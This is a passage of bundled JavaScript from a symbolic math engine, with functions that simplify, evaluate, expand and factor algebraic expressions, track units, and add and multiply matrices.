Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(args.length === 2, \"2000: Internal error.\");\n if (isZero(args[1])) {\n var mv = mathValue(options, args[0], true);\n if (mv !== null) {\n // If its a number, then we're done.\n return newNode(node.op, args);\n }\n var ff = factors(options, args[0], {}, true, true, true);\n var erasedMinus = false;\n if (isMinusOne(ff[0])) {\n // Drop the leading negative one.\n ff.shift();\n erasedMinus = true;\n }\n var args0 = [];\n var foundZero = false;\n ff.forEach(function (n) {\n var mv = mathValue(options, n, true);\n if (erasedMinus && isInequality(node.op) ||\n mv !== null && !isZero(mv) && ff.length > 1 ||\n n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].VAR && units(n).length > 0 && ff.length > 1 || // $, cm, s^2\n n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && units(n.args[0]).length > 0 && mathValue(options, n.args[0]) !== null && ff.length > 1 || // $, cm, s^2\n n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && isNeg(options, n.args[1])) {\n if (node.op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].EQL && node.op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].APPROX /*&& isNeg(options, n)*/) {\n // We are erasing a negative so multiply by -1 to preserve inequality.\n if (args0.length > 0) {\n args0.push(expand(options, negate(args0.pop())));\n } else if (ff.length === 1) {\n args0.push(expand(options, negate(n)));\n }\n }\n // Ignore constant factors including units, unless they are alone.\n } else if (isZero(mv)) {\n // Result is zero.\n args0 = [nodeZero];\n foundZero = true;\n } else {\n args0 = args0.concat(n);\n }\n });\n if (args0.length > 0) {\n // Multiply the remaining numerator terms.\n args[0] = multiplyNode(args0);\n } else {\n // LHS has no more terms, so is zero.\n args[0] = nodeZero;\n }\n }\n return newNode(node.op, args);\n }\n }), root.location);\n // simplifyLevel--;\n // If the node has changed, simplify again\n while (nid !== ast.intern(node)) {\n nid = ast.intern(node);\n // console.log(\"simplify() nid=\" + nid);\n // if (nid === 175 || nid === 178) {\n // console.log(\"simplify() node=\" + JSON.stringify(node, null, 2));\n // }\n node = simplify(options, node, env);\n }\n node.simplifyNid = nid;\n // simplifiedNodes[rootNid] = node;\n return node;\n }\n\n function sign(node) {\n var s = 0;\n var tt = terms(node);\n tt.forEach(function (n) {\n var mv = mathValue(options, n);\n if (isNeg(options, leadingCoeff(n))) {\n s -= 1;\n } else {\n s += 1;\n }\n });\n if (s === 0) {\n if (isNeg(options, (leadingCoeff(tt[0])))) {\n s = -1;\n } else {\n s = 1;\n }\n }\n return s;\n }\n\n function base(node) {\n // Return the base if it is a number.\n var op = node.op;\n var base = op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW\n ? mathValue(options, node.args[0])\n : mathValue(options, node);\n return base;\n }\n\n function exponent(node) {\n return node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW ? toNumber(mathValue(options, node.args[1], {}, true)) : 1;\n }\n\n function log(b, x) {\n return Math.log(x) / Math.log(b);\n }\n\n // Return the math value of an expression, or null if the expression does\n // not have a math value.\n\n let mathValueLevel = 0;\n function mathValue(options, root, env, allowDecimal, normalizeUnits) {\n if (!root || !root.args) {\n return null;\n }\n// assert(root && root.args, \"2000: Internal error.\");\n if (env === undefined) {\n env = _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].env;\n } else if (typeof env === \"boolean\") {\n normalizeUnits = allowDecimal;\n allowDecimal = env;\n env = _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].env;\n }\n mathValueLevel++;\n let node = visit(options, root, {\n name: \"mathValue\",\n numeric: function (node) {\n if (isUndefined(node)) {\n return null;\n }\n return toDecimal(node.args[0]);\n },\n additive: function (node) {\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PM || isRepeating(node)) {\n return null;\n }\n // Simplify each side.\n var val = bigZero;\n node.args.forEach(function (n) {\n var mv = mathValue(options, n, env, true, normalizeUnits);\n if (mv && val) {\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB) {\n val = val.minus(mv);\n } else {\n val = val.plus(mv);\n }\n } else {\n val = null;\n }\n });\n if (allowDecimal || isInteger(val)) {\n return val;\n } else {\n return null;\n }\n },\n multiplicative: function (node) {\n // Allow decimal if the option 'allowDecimal' is set to true or\n // if at least one of the operands is a decimal.\n // (1+1/10)^3 --> 11^3*10^{-3} --> (11/10)^3\n var val = bigOne;\n var hasDecimal = false;\n node.args.forEach(function (n) {\n hasDecimal = hasDecimal || isDecimal(n);\n var mv = mathValue(options, n, env, true, normalizeUnits);\n if (val !== null && mv != null) {\n val = val.times(mv);\n } else {\n val = null;\n }\n });\n if (allowDecimal || isInteger(val) ||\n hasDecimal && option(options, \"doingSimplified\")) {\n // The last alternative is a secret handshake that says we are in\n // isSimplified so mutliply decimals.\n return val;\n }\n return null;\n },\n unary: function(node) {\n if (isGrouping(options, node, mathValueLevel)) {\n return mathValue(options, node.args[0], env, allowDecimal, normalizeUnits);\n }\n switch (node.op) {\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB:\n var val = mathValue(options, node.args[0], env, allowDecimal, normalizeUnits);\n if (val === null) {\n return null;\n }\n return val.times(bigMinusOne);\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FACT:\n var n = mathValue(options, node.args[0], env, allowDecimal, normalizeUnits);\n if (n) {\n return toDecimal(factorial(n));\n } else {\n return null;\n }\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].M:\n var args = [];\n // M.args[0] -> ADD.args\n if (node.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL) {\n node.args[0].args.forEach(function (n) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].VAR, \"2000: Invalid arguments to the \\M tag\");\n var sym = _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].env[n.args[0]];\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(sym && sym.mass, \"2000: Missing chemical symbol\");\n var count = n.args[1] ? toNumber(mathValue(options, n.args[1], env, allowDecimal, normalizeUnits)) : 1;\n args.push(numberNode(options, sym.mass * count));\n });\n } else {\n // Just have one VAR node.\n var n = node.args[0];\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].VAR, \"2000: Invalid arguments to the \\M tag\");\n var sym = _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].env[n.args[0]];\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(sym && sym.mass, \"2000: Missing chemical symbol\");\n var count = n.args[1] ? toNumber(mathValue(options, n.args[1], env, allowDecimal, normalizeUnits)) : 1;\n args.push(numberNode(options, sym.mass * count));\n }\n return mathValue(options, makeTerm(args), env, allowDecimal, normalizeUnits);\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ABS:\n return abs(mathValue(options, node.args[0], env, allowDecimal, normalizeUnits));\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SIN:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COS:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].TAN:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCSIN:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCCOS:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCTAN:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SINH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COSH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].TANH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCSINH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCCOSH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCTANH:\n if (allowDecimal) {\n var val;\n if (isPositiveInfinity(node.args[0])) {\n val = Number.POSITIVE_INFINITY;\n } else if (isNegativeInfinity(node.args[0])) {\n val = Number.NEGATIVE_INFINITY;\n } else {\n val = mathValue(options, toRadians(node.args[0]), env, allowDecimal, normalizeUnits);\n }\n return trig(val, node.op);\n }\n return null;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ADD:\n return mathValue(options, node.args[0], env, allowDecimal, normalizeUnits);\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].DEGREE:\n return mathValue(options, toRadians(node.args[0]), env, allowDecimal, normalizeUnits);\n default:\n return null;\n }\n },\n exponential: function (node) {\n // Allow decimal if the option 'allowDecimal' is set to true or\n // if at least one of the operands is a decimal.\n var args = node.args.slice(0).reverse();\n var val = mathValue(options, args.shift(), env, allowDecimal, normalizeUnits);\n var op = node.op;\n if (op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW) {\n args.forEach(function (n) {\n var mv = mathValue(options, n, env, true, normalizeUnits);\n if (val !== null && mv != null) {\n val = pow(mv, val);\n } else {\n val = null;\n }\n });\n } else if (op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LOG) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(args.length === 1, \"2000: Internal error.\");\n var mv;\n var emv = val;\n var base = args[0];\n var bmv = mathValue(options, base, true, normalizeUnits);\n if (emv !== null) {\n if (bmv !== null) {\n val = logBase(bmv, emv);\n } else if (base.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].VAR && base.args[0] === \"e\") {\n val = toDecimal(Math.log(toNumber(emv)));\n }\n }\n }\n if (allowDecimal || isInteger(val)) {\n return val;\n }\n return null;\n },\n variable: function(node) {\n var val, n;\n if ((val = env[node.args[0]]) &&\n (val.type === \"const\" || val.type === \"unit\" && normalizeUnits)) {\n n = val.value;\n }\n if (n && (allowDecimal || isInteger(n))) {\n return toDecimal(n);\n }\n return null;\n },\n comma: function(node) {\n return null;\n },\n equals: function(node) {\n return null;\n }\n });\n mathValueLevel--;\n return node;\n function exponent(node) {\n // FIXME this is brittle. need way to handle general exponents\n return node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW ? +node.args[1].args[0] : 1;\n }\n }\n function getUnique(list) {\n var u = {}, a = [];\n for(var i = 0, l = list.length; i < l; ++i){\n if(u.hasOwnProperty(list[i])) {\n continue;\n }\n a.push(list[i]);\n u[list[i]] = 1;\n }\n return a;\n }\n // Get the list of units used in an expression.\n function units(root, env) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(root && root.args, \"2000: Internal error.\");\n return visit(options, root, {\n name: \"units\",\n exponential: function (node) {\n var uu = units(node.args[0], env);\n if (uu.length > 0) {\n return [node];\n }\n return [];\n },\n multiplicative: function (node) {\n var uu = [];\n node.args.forEach(function (n) {\n uu = uu.concat(units(n, env));\n });\n return uu;\n },\n additive: function (node) {\n var uu = [];\n node.args.forEach(function (n) {\n uu = uu.concat(units(n, env));\n });\n return uu;\n },\n unary: function(node) {\n return [];\n },\n numeric: function(node) {\n return [];\n },\n variable: function(node) {\n var val, env = _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].env;\n if (env && (val = env[node.args[0]])) {\n if (val.type === \"unit\") {\n return [node];\n }\n }\n return [];\n },\n comma: function(node) {\n var uu = [];\n node.args.forEach(function (n) {\n uu = uu.concat(units(n, env));\n });\n return uu;\n },\n equals: function(node) {\n var uu = [];\n node.args.forEach(function (n) {\n uu = uu.concat(units(n, env));\n });\n return uu;\n }\n });\n }\n\n function multiplyMatrix(lnode, rnode) {\n var snode, mnode;\n // Scalar * Matrix\n if (lnode.op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MATRIX) {\n return multiplyScalarAndMatrix(lnode, rnode);\n } else if (rnode.op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MATRIX) {\n return multiplyScalarAndMatrix(rnode, lnode);\n }\n // Matrix * Matrix\n var rowArgs = [];\n var rows = lnode.args[0].args;\n rows.forEach(function (row) {\n var colArgs = [];\n var cols = rnode.args[0].args[0].args; // Use cols in first row as reference.\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(rows.length === cols.length, Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"message\"])(2013));\n cols.forEach(function (col, n) {\n col = getMatrixCol(rnode, n); // Get actual column.\n colArgs.push(multiplyVectors(row.args, col));\n });\n rowArgs.push(newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COL, colArgs));\n });\n return newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MATRIX, [newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ROW, rowArgs)]);\n }\n\n function addMatrix(lnode, rnode) {\n var snode, mnode;\n // Scalar + Matrix\n if (lnode.op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MATRIX) {\n return addScalarAndMatrix(lnode, rnode);\n } else if (rnode.op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MATRIX) {\n return addScalarAndMatrix(rnode, lnode);\n }\n // Matrix + Matrix\n var rowArgs = [];\n var lrows = lnode.args[0].args;\n lrows.forEach(function (lrow, i) {\n var colArgs = [];\n var rrows = rnode.args[0].args; // Use cols in first row as reference.\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(lrows.length === rrows.length, Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"message\"])(2013));\n var rrow = rrows[i];\n colArgs = addVectors(lrow.args, rrow.args);\n rowArgs.push(newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COL, colArgs));\n });\n return newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MATRIX, [newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ROW, rowArgs)]);\n }\n\n function getMatrixCol(mnode, n) {\n var vec = [];\n var rows = mnode.args[0].args;\n rows.forEach(function (row) {\n var cols = row.args;\n vec.push(cols[n]);\n });\n return vec;\n }\n\n function addVectors(v1, v2) {\n // v1, v2 : Array of nodes\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(v1.length === v2.length, Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"message\"])(2013));\n var args = [];\n v1.forEach(function (n1, i) {\n var n2 = v2[i];\n args.push(addNode([n1, n2]));\n });\n return args;\n }\n\n function multiplyVectors(v1, v2) {\n // v1, v2 : Array of nodes\n var args = [];\n v1.forEach(function (n1, i) {\n var n2 = v2[i];\n args.push(multiplyNode([n1, n2]));\n });\n return addNode(args);\n }\n\n function multiplyScalarAndMatrix(snode, mnode) {\n // For each row, for each column.\n var rowArgs = [];\n var rows = mnode.args[0].args;\n rows.forEach(function (row) {\n var colArgs = [];\n var cols = row.args;\n cols.forEach(function (col) {\n colArgs.push(multiplyNode([snode, col]));\n });\n rowArgs.push(newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COL, colArgs));\n });\n return newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MATRIX, [newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ROW, rowArgs)]);\n }\n\n function addScalarAndMatrix(snode, mnode) {\n // For each row, for each column.\n var rowArgs = [];\n var rows = mnode.args[0].args;\n rows.forEach(function (row) {\n var colArgs = [];\n var cols = row.args;\n cols.forEach(function (col) {\n colArgs.push(addNode([snode, col]));\n });\n rowArgs.push(newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COL, colArgs));\n });\n return newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MATRIX, [newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ROW, rowArgs)]);\n }\n\n function sortFactors(args) {\n let argsNew = [];\n let hasMinusOne = false;\n args.forEach(arg => {\n if (isMinusOne(arg)) {\n hasMinusOne = !hasMinusOne;\n } else if (!isOne(arg)) { // Erase one.\n argsNew.push(arg);\n }\n });\n let node;\n if (argsNew.length > 1) {\n // If we have multiple args, then sort them.\n let node = sort(multiplyNode(argsNew, true));\n args = node.args;\n } else {\n args = argsNew;\n }\n if (hasMinusOne) {\n args = negateFactors(args);\n }\n return args;\n }\n\n function multiplyTerms(lterms, rterms, expo) {\n var args = [];\n lterms.forEach(function (n0) {\n rterms.forEach(function (n1) {\n // Multiply the terms.\n var args1 = [];\n if (n0.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL) {\n args1 = args1.concat(n0.args);\n } else {\n args1.push(n0);\n }\n if (n1.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL) {\n args1 = args1.concat(n1.args);\n } else {\n args1.push(n1);\n }\n args1 = sortFactors(args1);\n args.push(multiplyNode(args1, true));\n });\n });\n var node = sort(addNode(args));\n if (expo !== undefined) {\n // Reapply the power.\n node = binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [node, numberNode(options, expo.toString())]);\n }\n return [node];\n }\n\n let expandedNodes = [];\n let expandLevel = 0;\n function expand(options, root, env) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(root && root.args, \"2000: Internal error.\");\n var nid = ast.intern(root);\n if (root.expandNid === nid) {\n return root;\n }\n var cachedNode;\n if ((cachedNode = expandedNodes[nid]) !== undefined) {\n return cachedNode;\n }\n var rootNid = nid;\n // if (expandLevel === 0) {\n // console.log(\"expand() node: \" + JSON.stringify(stripNids(root), null, 2));\n // }\n expandLevel++;\n var node = _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].create(options, visit(options, root, {\n name: \"expand\",\n numeric: function (node) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(typeof node.args[0] === \"string\", \"2000: Internal error.\");\n return node;\n },\n additive: function (node) {\n var nid = ast.intern(node);\n var isMixedNumber = node.isMixedNumber;\n var args = node.args.slice(0); // Make copy.\n var n0 = [expand(options, args.shift())];\n args.forEach(function (n1) {\n n1 = expand(options, n1);\n n0 = n0.concat(unfold(n0.pop(), n1));\n });\n if (n0.length < 2) {\n node = n0[0];\n } else {\n node = binaryNode(node.op, n0);\n }\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MATRIX || option(options, \"normalizeArithmetic\")) {\n // Nothing more to do here.\n }\n node = cancelTerms(node, \"expand\");\n node.isMixedNumber = isMixedNumber;\n return node;\n function unfold(lnode, rnode) {\n if (lnode.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MATRIX || rnode.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MATRIX) {\n return addMatrix(lnode, rnode);\n }\n return [lnode, rnode];\n }\n },\n multiplicative: function (node) {\n var nid = ast.intern(node);\n var args = node.args.slice(0); // Make copy.\n var n0 = [expand(options, args.shift())];\n // For each next value, pop last value and fold it with next value.\n args.forEach(function (n1, i) {\n n1 = expand(options, n1);\n n0 = n0.concat(unfold(n0.pop(), n1));\n });\n args = n0;\n var isNeg = false;\n n0 = [];\n var normalizeArithmetic =\n option(options, \"normalizeArithmetic\") &&\n args.length > 1;\n args.forEach(function (n, i) {\n if (isOne(n)) {\n // Erase.\n } else if (isMinusOne(n)) {\n isNeg = !isNeg;\n } else {\n n0.push(n);\n }\n });\n if (isNeg) {\n // Put back one minus one.\n if (n0.length === 0) {\n n0.unshift(nodeMinusOne);\n } else {\n n0.unshift(negate(n0.shift()));\n }\n }\n if (n0.length === 0) {\n node = nodeOne;\n } else if (n0.length === 1) {\n node = n0[0];\n } else {\n node = multiplyNode(n0, true);\n }\n return node;\n function unfold(lnode, rnode) {\n // FIXME if the bases are additive and the expo are the same power,\n // then expand the base and reapply the power.\n var expo, lterms, rterms;\n if (lnode.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MATRIX || rnode.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MATRIX) {\n return multiplyMatrix(lnode, rnode);\n }\n if (lnode.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && rnode.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW &&\n exponent(lnode) === exponent(rnode)) {\n lterms = terms(lnode.args[0]);\n rterms = terms(rnode.args[0]);\n expo = exponent(lnode);\n } else {\n lterms = terms(lnode);\n rterms = terms(rnode);\n }\n if (!normalizeArithmetic && lterms && rterms &&\n (!isAggregate(lnode) && lterms.length > 1 ||\n !isAggregate(rnode) && rterms.length > 1) &&\n lterms.length * rterms.length < 64) {\n // (x + 2)(x - 3)\n // Limit the number of terms to avoid runaway expansion.\n return multiplyTerms(lterms, rterms, expo);\n }\n var result = [];\n if (lnode.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL) {\n result = result.concat(lnode.args);\n } else {\n result.push(lnode);\n }\n if (rnode.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL) {\n result = result.concat(rnode.args);\n } else {\n result.push(rnode);\n }\n return result;\n }\n },\n unary: function(node) {\n // assert(node && node.op !== Model.SQRT, \"2000: SQRT removed during parsing\");\n switch (node.op) {\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ABS:\n var arg0 = expand(options, node.args[0]);\n if (arg0.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL) {\n var args = [];\n arg0.args.forEach(function (n) {\n args.push(unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ABS, [n]));\n });\n node = multiplyNode(args);\n } else {\n node = unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ABS, [arg0]);\n }\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB:\n node = multiplyNode([expand(options, node.args[0]), nodeMinusOne]);\n node.args[0] = expand(options, node.args[0]);\n break;\n default:\n var args = [];\n node.args.forEach(function (n) {\n args.push(expand(options, n));\n });\n node = unaryNode(node.op, args);\n break;\n }\n return node;\n },\n exponential: function (node) {\n // (xy)^z -> x^zy^z\n // Make a copy of and reverse args to work from right to left.\n var nid = ast.intern(node);\n var args = node.args.slice(0).reverse();\n var n0 = [expand(options, args.shift())];\n // For each next value, pop last value and fold it with next value.\n args.forEach(function (n1, i) {\n n1 = expand(options, n1);\n n0 = n0.concat(unfold(node.op, n0.pop(), n1));\n });\n var node2;\n if (n0.length < 2) {\n var n = n0[0];\n // If the result is not a number or is a whole number, then return it.\n node2 = n;\n } else {\n node2 = binaryNode(node.op, n0.reverse());\n }\n return node2;\n function unfold(op, expo, base) {\n var node;\n var dontExpandPowers = option(options, \"dontExpandPowers\");\n const normalizeArithmetic = option(options, 'normalizeArithmetic');\n var emv = mathValue(options, expo);\n if (op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW) {\n if (dontExpandPowers && (base.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].VAR || base.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM)) {\n return [expo, base];\n }\n if (base.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && !(isNeg(options, base.args[1]) || isNeg(options, expo))) {\n // Flatten exponents unless base is a denom.\n expo = multiplyNode(base.args.slice(1).concat(expo));\n base = base.args[0];\n return [expo, base];\n }\n var ff = factors(options, base, null, false, true);\n if (ff.length === 0) {\n // No factors means we have a node with math value '1', so just\n // return it.\n return nodeOne;\n }\n var args = [];\n // Raise each factor to the expo power and then multiply them together.\n let hasMinusOne = false;\n ff.forEach(function (n) {\n if (expo.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ADD) {\n // If additive, then multiply base raised to each term.\n // x^(y+z) -> x^y*x^z\n expo.args.forEach(function (e) {\n args.push(newNode(op, [n, e]));\n });\n } else if (isInteger(emv)) {\n // x^2 -> x*x\n var ea = Math.abs(toNumber(emv));\n var bmv;\n if (isZero(emv)) {\n args.push(nodeOne);\n } else if (!normalizeArithmetic && isNeg(options, (bmv = mathValue(options, n))) && !isNeg(options, emv)) {\n // We have a factor that has an integer math value, so just do the math.\n var mv = pow(bmv, emv);\n args.push(numberNode(options, mv));\n } else if (!normalizeArithmetic && (ea < 5 || ea < 10 && !isPolynomial(n)) && !dontExpandPowers) {\n // Expand if the base is additive, or exponent is an integer and\n // dontExpandPowers is false. We limit the power of the expansion\n // to avoid long running computations.\n var invert = isNeg(options, emv);\n for (var i = 0; i < ea; i++) {\n if (invert) {\n if (n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && isMinusOne(n.args[1])) {\n // x^{-1}^{-1} -> x\n args.push(n.args[0]);\n } else if (isOne(n) && isMinusOne(emv)) {\n // 1^{-1} -> 1\n args.push(n);\n } else if (isMinusOne(n) && isMinusOne(emv)) {\n hasMinusOne = !hasMinusOne;\n } else {\n if (hasMinusOne) {\n n = negate(n);\n hasMinusOne = false;\n }\n args.push(binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [n, nodeMinusOne]));\n }\n } else {\n args.push(n);\n }\n }\n } else if (isMinusOne(n) && isMinusOne(emv)) {\n hasMinusOne = !hasMinusOne;\n } else {\n args.push(newNode(op, [n, expo]));\n }\n } else {\n args.push(newNode(op, [n, expo]));\n }\n });\n if (hasMinusOne) {\n if (args.length === 0) {\n args.unshift(nodeMinusOne);\n } else {\n args.unshift(negate(args.shift()));\n }\n hasMinusOne = false;\n }\n } else if (op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LOG) {\n var args = [];\n if (isMultiplicative(expo)) {\n // If log and multiplicative, then add log of each term.\n var aa = [];\n expo.args.forEach(function (e) {\n if (e.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW) {\n aa.push(multiplyNode([\n e.args[1],\n newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LOG, [base, e.args[0]])\n ]));\n } else {\n aa.push(newNode(op, [base, e]));\n }\n });\n args.push(addNode(aa));\n } else if (expo.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW) {\n // log x^y -> y log x\n args.push(multiplyNode([\n expo.args[1],\n newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LOG, [base, expo.args[0]])\n ]));\n } // Otherwise, do nothing.\n }\n // x^2, x^y\n if (args.length > 1) {\n return [multiplyNode(args)];\n } else if (args.length === 1) {\n return [args[0]];\n }\n return [expo, base];\n }\n },\n variable: function(node) {\n return node;\n },\n comma: function(node) {\n var args = [];\n node.args.forEach(function (n) {\n args = args.concat(expand(options, n));\n });\n return newNode(node.op, args);\n },\n equals: function(node) {\n // x/10+5=0 -> x+50=0\n // x/(y+1)+10=0 -> x+10(y+1) -> x+10y+10\n // x/y+2/z=0 -> xz+2y=0\n var args = [];\n node.args.forEach(function (n) {\n args = args.concat(expand(options, n));\n });\n // For each term, for each factor, if denom.\n return newNode(node.op, args);\n }\n }), root.location);\n expandLevel--;\n // If the node has changed, simplify again.\n while (nid !== ast.intern(node)) {\n nid = ast.intern(node);\n // console.log(\"expand() nid=\" + nid);\n node = expand(options, node);\n }\n node.expandNid = nid;\n expandedNodes[rootNid] = node;\n return node;\n }\n\n function factors(options, root, env, ignorePrimeFactors, preserveNeg, factorAdditive) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(root && root.args, \"2000: Internal error.\");\n return visit(options, root, {\n name: \"factors\",\n numeric: function (node) {\n if (ignorePrimeFactors || isInfinity(node)) {\n return [node];\n }\n var ff = [];\n let hasNeg = false;\n if (preserveNeg && isNeg(options, node)) {\n hasNeg = !hasNeg;\n }\n var absv = Math.abs(+node.args[0]);\n var pff = primeFactors(absv);\n if (pff.length === 0 && !isOne(absv)) {\n ff.push(numberNode(options, absv)); // e.g. 0.4\n } else {\n primeFactors(+node.args[0]).forEach(function (n) {\n ff.push(numberNode(options, n));\n });\n }\n if (hasNeg) {\n ff.unshift(nodeMinusOne);\n }\n return ff;\n },\n additive: function (node) {\n if (!factorAdditive) {\n // Actually, we have a repeating decimal. So no factors here.\n return [node];\n }\n node = factorQuadratic(node);\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL) {\n return [node];\n }\n var args = node.args.slice(0); // Make a copy.\n var n0 = [multiplyNode(factors(options, args.shift(), {}, true, true))];\n // For each next value, pop last value and look for common factors with the next value.\n args.forEach(function (n1, i) {\n n1 = multiplyNode(factors(options, n1, {}, true, true));\n var n;\n if (commonFactors(options, (n = n0.pop()), n1).length > 0) {\n n0 = n0.concat(factorTerms(n, n1));\n } else {\n n0 = n0.concat([n, n1]);\n }\n });\n if (n0.length === 1 && n0[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL) {\n return n0[0].args;\n }\n return [node];\n },\n multiplicative: function (node) {\n switch (node.op) {\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL:\n case 